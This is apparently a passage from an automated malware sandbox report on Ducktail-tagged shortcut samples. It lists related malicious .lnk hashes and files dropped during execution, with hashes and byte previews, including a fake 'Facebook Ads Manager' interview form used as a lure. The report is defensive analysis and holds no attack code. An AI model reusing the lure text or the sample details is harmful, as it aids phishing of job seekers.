	4YgQ2xN41W.lnk	Get hash	malicious	RDPWrap Tool, Ducktail	Browse
	EERNI7eIS7.lnk	Get hash	malicious	Ducktail	Browse
	cOOhDuNWt7.lnk	Get hash	malicious	Ducktail	Browse
	O5PR3i6ILA.lnk	Get hash	malicious	Ducktail	Browse
	SPENDINGONDIGITALMARKETING_DIGITALMARKETINGBUDGET lnk.lnk	Get hash	malicious	Ducktail	Browse
	aQuwmiym51.lnk	Get hash	malicious	Ducktail	Browse
	gW6FHWNFzR.lnk	Get hash	malicious	Ducktail	Browse

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306898189249221
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugr:gJjJGtpTq2yv1AuNZRY3diu8iBVqFt
MD5:	5150F8EAC9CC528DEA16F08CDAD3393A
SHA1:	667875421F0F14AF42290263FD93C746675F9F20
SHA-256:	BB7084EA589AF5E0D108962AF403165F895A2699AE2615B04D5A76CD5F99BAD4
SHA-512:	ED8771CE56217A71B04422FD0FDD38284249842B5C7BA0659658A4D4ED5EB1C0E65F710605857CCBA839E435030ADE171BF4CE6304F3635884C77A859793B603
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7a441dd5, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585124292885687
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	57BE3D4915D6DA6FDEBD5CDFF1E0BF06
SHA1:	53C4323D8FB1F5908800B1EEF57D20FBCD66EF21
SHA-256:	2A89F715097C99F5DD7111C1CDFA7452D48CF1BB5D43901C6976CCD57982BEE7
SHA-512:	FB71A48D227AA09889EF2F81CC196693FCAA97FD1AEC8D7A95749AC2C647BC79AA754963A8F3591A9239739CD94F2E2E5CD55A5902E7077897957AE5050F1E0C
Malicious:	false
Preview:	zD..... ...............X\...;...{......................0.z..........{.......\|O.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................FkL.....\|O.................^..1.....\|O..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07911630011583928
Encrypted:	false
SSDEEP:	3:dEYeWaFkGuAJkhvekl1AsqlAllrekGltll/SPj:dEz3+rxl+LlAJe3l
MD5:	93D3369B2FB6FCB2E6AD9F319FC190B4
SHA1:	B29479A0EAEAECC2DFC06660B9BAF7F0E0071C6A
SHA-256:	C844597737964CDCF116C440456FCF9749E52F9C30E52894A654F5EDFB479F08
SHA-512:	14D62AEFA7C6E6B301F52C054D89DC6716649A238D88BEE64444C15736A3244E39453F4C4215242FABC778F3B0D23C8360BAFF25DDB380CF56294405CDD37531
Malicious:	false
Preview:	........................................;...{.......\|O......{...............{.......{...XL......{..................^..1.....\|O.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with very long lines (1869), with no line terminators
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	5.0886542826894585
Encrypted:	false
SSDEEP:	48:cGedypdSyrvnzy7SymJdygdydASyNdyrwnzyrqdnzyDkSyrXnzyO:WEpdbT27bwEgEdAbNEs2ed2IbT2O
MD5:	868169A472C6F54D649E71E05078FCED
SHA1:	5C10D290C4E9722779CB73B2DB65104AAF78127A
SHA-256:	44DCF491FC2CFAB4BA0762211BDEF0B4B406FB783122CF9AFE94135FA1466D90
SHA-512:	2B133F21409BD58C88357211FB66C8C06D0703439C644B4AF67767E7056D22F6FF303E352C91B58182AA625801074F47D3692337F2D33859C23C5510AF57232C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?><root><version>1</version><Count>12</Count><Resource><Id>Aptos_26215680</Id><LAT>2024-11-15T00:01:04Z</LAT><key>29939506207.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_26215424</Id><LAT>2023-10-04T14:08:57Z</LAT><key>31558910439.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos Display_26215682</Id><LAT>2023-10-04T14:08:57Z</LAT><key>28367963232.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_45876224</Id><LAT>2023-10-04T14:08:57Z</LAT><key>24153076628.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos_26215682</Id><LAT>2023-10-04T14:08:57Z</LAT><key>31169036496.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos_45876480</Id><LAT>2024-11-15T00:01:04Z</LAT><key>27160079615.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_45876226<

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JSON data
Category:	dropped
Size (bytes):	521377
Entropy (8bit):	4.9084889265453135
Encrypted:	false
SSDEEP:	3072:gdTb5Sb3F2FqSrfZm+CnQsbzxZO7aYb6f5780K2:wb5q3umBnzT
MD5:	C37972CBD8748E2CA6DA205839B16444
SHA1:	9834B46ACF560146DD7EE9086DB6019FBAC13B4E
SHA-256:	D4CFBB0E8B9D3E36ECE921B9B51BD37EF1D3195A9CFA1C4586AEA200EB3434A7
SHA-512:	02B4D134F84122B6EE9A304D79745A003E71803C354FB01BAF986BD15E3BA57BA5EF167CC444ED67B9BA5964FF5922C50E2E92A8A09862059852ECD9CEF1A900
Malicious:	false
Preview:	{"MajorVersion":4,"MinorVersion":40,"Expiration":14,"Fonts":[{"a":[4294966911],"f":"Abadi","fam":[],"sf":[{"c":[1,0],"dn":"Abadi","fs":32696,"ful":[{"lcp":983041,"lsc":"Latn","ltx":"Abadi"}],"gn":"Abadi","id":"23643452060","p":[2,11,6,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":26215680},{"c":[1,0],"dn":"Abadi Extra Light","fs":22180,"ful":[{"lcp":983042,"lsc":"Latn","ltx":"Abadi Extra Light"}],"gn":"Abadi Extra Light","id":"17656736728","p":[2,11,2,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":13108480}]},{"a":[4294966911],"f":"ADLaM Display","fam":[],"sf":[{"c":[536870913,0],"dn":"ADLaM Display Regular","fs":140072,"ful":[{"lcp":983040,"lsc":"Latn","ltx":"ADLaM Display"}],"gn":"ADLaM Display","id":"31965479471","p":[2,1,0,0,0,0,0,0,0,0],"sub":[],"t":"ttf","u":[2147491951,1107296330,0,0],"v":131072,"w":26215680}]},{"a":[4294966911],"f":"Agency FB","fam":[],"sf":[{"c":[536870913,0],"dn":"Agency FB Bold","fs":54372,"ful":[{"lcp":9830

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	TrueType Font data, 10 tables, 1st "OS/2", 7 names, Microsoft, language 0x409, \251 2018 Microsoft Corporation. All Rights Reserved.msofp_4_40RegularVersion 4.40;O365
Category:	dropped
Size (bytes):	773040
Entropy (8bit):	6.55939673749297
Encrypted:	false
SSDEEP:	12288:Zn84XULLDs51UJQSOf9VvLXHyheIQ47gEFGHtAgk3+/cLQ/zhm1kjFKy6Nyjbqq+:N8XPDs5+ivOXgo1kYvyz2
MD5:	4296A064B917926682E7EED650D4A745
SHA1:	3953A6AA9100F652A6CA533C2E05895E52343718
SHA-256:	E04E41C74D6C78213BA1588BACEE64B42C0EDECE85224C474A714F39960D8083
SHA-512:	A25388DDCE58D9F06716C0F0BDF2AEFA7F68EBCA7171077533AF4A9BE99A08E3DCD8DFE1A278B7AA5DE65DA9F32501B4B0B0ECAB51F9AF0F12A3A8A75363FF2C
Malicious:	false
Preview:	........... OS/29....(...`cmap.s.,.......pglyf..&....\|....head2..........6hheaE.@v.......$hmtx...........@loca.U.....8...Dmaxp........... name.P+........post...<...... .........b~1_.<...........<......r......Aa...................Q....Aa....Aa.........................~...................................................3..............................MS .@.......(...Q................. ...........d...........0...J.......8.......>..........+a..#...,................................................/...K.......z...............N.........!...-...+........z.......h..%^..3...&j..+...+%..'R..+..."....................k......$A...,.......g...&...=.......X..&..............&....B..(B...............#.......j...............+...P...5...@...)..........#...)Q..................{.. ....?..'...#....N...7......<...;>.............. ]...........5......#....s.......$.......$.......^..................+...>....H.......%...7.......6.......O...V...........K......"........c...N......!...............$...&...p..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8564891086466955
Encrypted:	false
SSDEEP:	48:uiTrlKxsxxOxl9Il8uEFzPFiTRpo0Fkez4cf3XosETBd1rc:vKY0PcTRphkEx3Tyi
MD5:	D3F76B463B938A25B85D222C6915BC0C
SHA1:	A12A3B6987C49B890600E38906AC689C01949BB4
SHA-256:	9C0705D7AA45CB7B8D9FD40C4A08F3CA78160E81279C307337A41B84611AC8E9
SHA-512:	36392D9921C1A95A2A2AA3E3413940F4F20E1DBD5324B920AC18B1F3DA0E03858B83BAD2253FC79A61C88373066BA6941AEFC1A7464ABF853454FD15C38C3397
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.D.V.r.2.f.k.2.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.j.l.G.R.h.L.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.898832364043611
Encrypted:	false
SSDEEP:	48:uiTrlKxJxDwxl9Il8uEVO6lPJbjrjp7Rccfl3MHJEd/vc:BY369JLd7RvflsJN
MD5:	B1FE523FD38557DE9398BE0551ED08D3
SHA1:	9CE70E5BE60D8E9DF0B8DEC7DB6D5523338124DF
SHA-256:	8CDB6324FB64F34CCD1EBB53399D3C3E70CC1934C628D689E2EAE751C5C672C5
SHA-512:	96E2CF0248D1006F9F51557A7538DE1BF0D1F06C61A9558D0144553FF264C4D76C40FB24CAF0DDA853E1B28BA180191650239D760D1F8F26D4166756F93295B4
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.H.X.L.G.R.5.H.j.D.k.3.C.i.F.b.L.a.m.K.N.+.n.c.g.T.0.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.r.H.a.8.M.J.V.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.j.l.G.R.h.L.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	3.9946146347441287
Encrypted:	false
SSDEEP:	96:rYmDM70xmJi1IV1YYJD1xpOVw6eAxd+hBe1W4:rTxmJi1InYqxpOGVAyhE1r
MD5:	BB4391F52FE841692C59241BE22D806D
SHA1:	66469D3DD3FFE1DFFA8137D81BFED9705C4A4364
SHA-256:	4017D5A142AFF28000589AC846004C8F89D5D8AACF4E5CFC12C4DAB7F632A40D
SHA-512:	4741B8335090A8C309245706FA3523A7D47A03F88722EECFDD7C4103BE118B9FC2747A4DF9540EB39FE4F9B0E1976672BAE2FCFAB49300299A44509B112B080B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.X.l.U.v./.E.2.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.j.l.G.R.h.L.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A7CD344C.png

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	PNG image data, 800 x 533, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	83529
Entropy (8bit):	7.918966273255048
Encrypted:	false
SSDEEP:	1536:JkJJmL1s+xJZVOiA7i1t69mczpPlHsbei5OkoHyiWs7ShbJ3o4j40J:+JoLa+xJxA7Et69PzB+Ki5Ow5sehbRoy
MD5:	CD299EC58920C15BF7D0475AF0C60F38
SHA1:	5441174F0F659B9ACB69124116E7B36B7F192998
SHA-256:	98217EA31168C8326FEDB996C25DB02A0B2367282569E1DC89EC4A9DF77B33D4
SHA-512:	BEE596EC68B3BB3C8547964BCE4D1AB08DED779DA2C878EDA980F9F8F39487D268389B29244D370E5FF11D14745D3D4D831B047596E41492C0144AD2F8D52A13
Malicious:	false
Preview:	.PNG........IHDR... .........).......sRGB.........gAMA......a.....pHYs...........~.....IDATx^....T...q.5......c.1..b4.k.t.^...;R.....EA@DT....3;....{.....s........+<...N....a..s.=.455A.!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.!....H..!..B.!....B.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{036BE2F7-FA7D-46C7-8DA0-4A65F1D8344B}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2164
Entropy (8bit):	2.8664319572636954
Encrypted:	false
SSDEEP:	24:YbCcbygcZpLu96t4XUppb0TRssnCI/IQRUOVueF7aDueg98lqTX8z:YbV+gcZpa1XIpKIqVui7aDud98l3z
MD5:	BE438F8CEFF693BC36B7D4FF9238F3AF
SHA1:	828A32F42D0BE4536463D8AB36E92B80D6064153
SHA-256:	9036ED2A8D0F8AC1264D7B6D1687D04ED636DDFEDE792ABA870CF7F932D58C83
SHA-512:	59F45CE50E39134AC67B38D69C0A16F21CC0936B7C1FB5EBF6B0221733D4979B24DA9EF1FFD007195AC24879C59190FA490F28DDAD559E85273B9C48B5830CA0
Malicious:	false
Preview:	..O.n.l.i.n.e. .I.n.t.e.r.v.i.e.w. .S.c.h.e.d.u.l.i.n.g. .F.o.r.m...T.h.a.n.k. .y.o.u. .f.o.r. .e.x.p.r.e.s.s.i.n.g. .i.n.t.e.r.e.s.t. .i.n. .t.h.e. .F.a.c.e.b.o.o.k. .A.d.s. .M.a.n.a.g.e.r. .r.o.l.e. .f.o.r. .o.u.r. .e.x.c.i.t.i.n.g. .n.e.w. .p.r.o.j.e.c.t... .P.l.e.a.s.e. .f.i.l.l. .i.n. .y.o.u.r. .i.n.f.o.r.m.a.t.i.o.n. .a.n.d. .c.h.o.o.s.e. .a. .c.o.n.v.e.n.i.e.n.t. .t.i.m.e. .f.o.r. .y.o.u.r. .Z.o.o.m. .i.n.t.e.r.v.i.e.w........./.F.u.l.l. .N.a.m.e.:.............................................................D...............V...........f...................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{6D17BDB2-F59E-4A10-8370-22D0FF66B117}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.3910205159728135
Encrypted:	false
SSDEEP:	6:mEMEEEmd39lCgKQ1w+5yho+oLhlnkintGln:IfYP8Rtsn
MD5:	81BB1DE26E88FE1FC285E1C519AEDF6F
SHA1:	531EDAA286D1025856B90A0AE7F83C0E18633385
SHA-256:	E4ABEEA481E8C692DC92B5348285B656631CADC0300A6CDA437C127DF55DE5EC
SHA-512:	DF70633815EA4503870B90BDE42825D245F820E1768C505FE73967F7B37884BC411BDCE9522F58ABAEDB8D09C7AE70FE483172BE9648B99E2893E79A326036AC
Malicious:	false
Preview:	....1.2.....1.2.....1.....1.....1.2.....1.2.....1.2.....1.2.....(.....(.....(.....(.....(............................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...&...(.......0...6...8...>...@...D...F...J...L...P...R...V...X...\...........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	20010
Entropy (8bit):	5.02587298723976
Encrypted:	false
SSDEEP:	384:KiQ0HzAFsIXX359ib4DVVHWrxpUUpXoCwiopbjvwRjdvRlYfWkib45OvQJvOjJx:KinHzwZH3FVVHWrxpUUpXoCwiopbjoRd
MD5:	C186375FF05EC8290B95774491023DB5
SHA1:	82A941D25468A2540ECF7ADC112B3D03A736D177
SHA-256:	0905F6ADB88C134603DB8DB937B313400EB37929BF8D047103DA014DD479E6D7
SHA-512:	ABDB485D2B5023DA2E2C32A4CA7CF9B74B6F9851B456E9417C2E820275F727C5680095C3E47CEFCFF2CEADF2982659F70D0F42D792D47653CA776222627383E1
Malicious:	false
Preview:	PSMODULECACHE......wMk.z..K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1........Clear-BitLockerAutoUnlock........Lock-BitLocker........Backup-BitLockerKeyProtector........Resume-BitLocker........Disable-BitLockerAutoUnlock....!...BackupToAAD-BitLockerKeyProtector........Add-BitLockerKeyProtector........Unlock-BitLocker........Enable-BitLockerAutoUnlock........Disable-BitLocker........Remove-BitLockerKeyProtector........Enable-BitLocker........Suspend-BitLocker........Get-BitLockerVolume........@.8o.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1m.......Get-Date........Clear-Variable........Get-EventSubscriber........Import-Csv........Get-Variable........New-Variable........Compare-Object........New-TemporaryFile........Convert-String........New-Alias........Export-Csv........Get-Event........Set-TraceSource........ConvertTo-Csv........ConvertFrom-Json........Get-PSCallStack........

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	5.67978271751185
Encrypted:	false
SSDEEP:	48:CSU4Yymda+gs4RIoUxqr9tK8NLn5nOA+G0ax5jl+yL:PHYvKsIfeqr2KLn5nOA9x3Zr
MD5:	26D683CFD1EC4E502734C0F7F9957976
SHA1:	631DD4C7D99E7A9AAE7697CA4461400DD9B14A28
SHA-256:	2966FB6B1FF2A75C4BC7D51BE2324ECDA6B8905254607BED6187A7253DF970D0
SHA-512:	5609C2F77CDBD5516FC711CACE18D748E2022F24FC0CA5EBB05399E585405C8A9F4930BBBD028DCEC1F2A7A8AE7A37290394B050E095CA3FD199FC10C949EC37
Malicious:	false
Preview:	@...e...........R...............................................@...............M6.]..O....PI.&........System.Web.Extensions...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1731628863104346500_3A4C5484-9A89-4F44-8814-E378744E4EC2.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.02053736835270362
Encrypted:	false
SSDEEP:	1536:1+T/CuIZo8RUDX6T4zA4SPRmAjhgOnEreZkw4yo3PyJU9vRBM:I
MD5:	23AD8F027E05DA89B821AE49D4E6A723
SHA1:	391722888CA29620D6476A577D6DA408689D3766
SHA-256:	EF6EB5CFA7045A84191F37C39D587E551F315D69C538B08080B5639CED896478
SHA-512:	1D1F92B973D3C84109A5D0A82410A5703FEB39D6939627ECEB8A3850BDAD1088E40F9607E9891A0DDA17186F065037EDE0360FD7845426FAA495AA97EAAB9BE2
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..11/15/2024 00:01:03.543.WINWORD (0xE44).0x1CB4.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.LoadXmlRules","Flags":33777014401990913,"InternalSequenceNumber":22,"Time":"2024-11-15T00:01:03.543Z","Contract":"Office.System.Activity","Activity.CV":"hFRMOomaRE+IFON4dE5Owg.7.1","Activity.Duration":171,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Activity.Result.Code":-2147024890,"Activity.Result.Type":"HRESULT","Activity.Result.Tag":528307459}...11/15/2024 00:01:03.543.WINWORD (0xE44).0x1CB4.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent 